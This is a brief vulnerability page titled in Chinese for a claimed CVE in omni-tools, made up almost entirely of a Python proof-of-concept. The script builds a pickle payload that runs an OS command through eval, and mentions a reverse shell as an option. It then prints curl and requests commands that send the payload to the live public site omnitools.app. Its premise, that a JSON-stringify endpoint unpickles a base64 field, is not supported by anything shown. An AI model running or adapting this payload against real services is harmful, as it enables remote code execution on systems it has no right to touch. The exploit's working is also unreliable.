CVE-2025-50739 iib0011 omni-tools 不安全JSON反序列化远程代码执行漏洞

import json import base64 import pickle # CVE-2025-50739 PoC - Unsafe JSON Deserialization RCE # Target: iib0011 omni-tools v0.4.0 # Attack Vector: Exploiting unsafe deserialization in JSON stringify endpoint class MaliciousPayload: def __reduce__(self): # Execute system command - reverse shell or arbitrary command cmd = "whoami > /tmp/pwned.txt" return (eval, (f'__import__("os").system("{cmd}")',)) # Generate malicious serialized object payload = MaliciousPayload() serialized = pickle.dumps(payload) encoded = base64.b64encode(serialized).decode() # Create JSON payload that triggers unsafe deserialization malicious_json = json.dumps({ "data": encoded, "action": "stringify" }) print(f"Malicious JSON Payload:\n{malicious_json}") print(f"\nEncoded Payload Length: {len(encoded)}") # Alternative PoC using curl print("\n--- Alternative PoC using curl ---") print(f'curl -X POST https://omnitools.app/json/stringify \\\') print(f' -H "Content-Type: application/json" \\\') print(f' -d \'{malicious_json}\'') # Python requests PoC print("\n--- Python requests PoC ---") print(f''' import requests import json url = "https://omnitools.app/json/stringify" payload = {malicious_json} response = requests.post(url, json=payload) print(response.text) ''')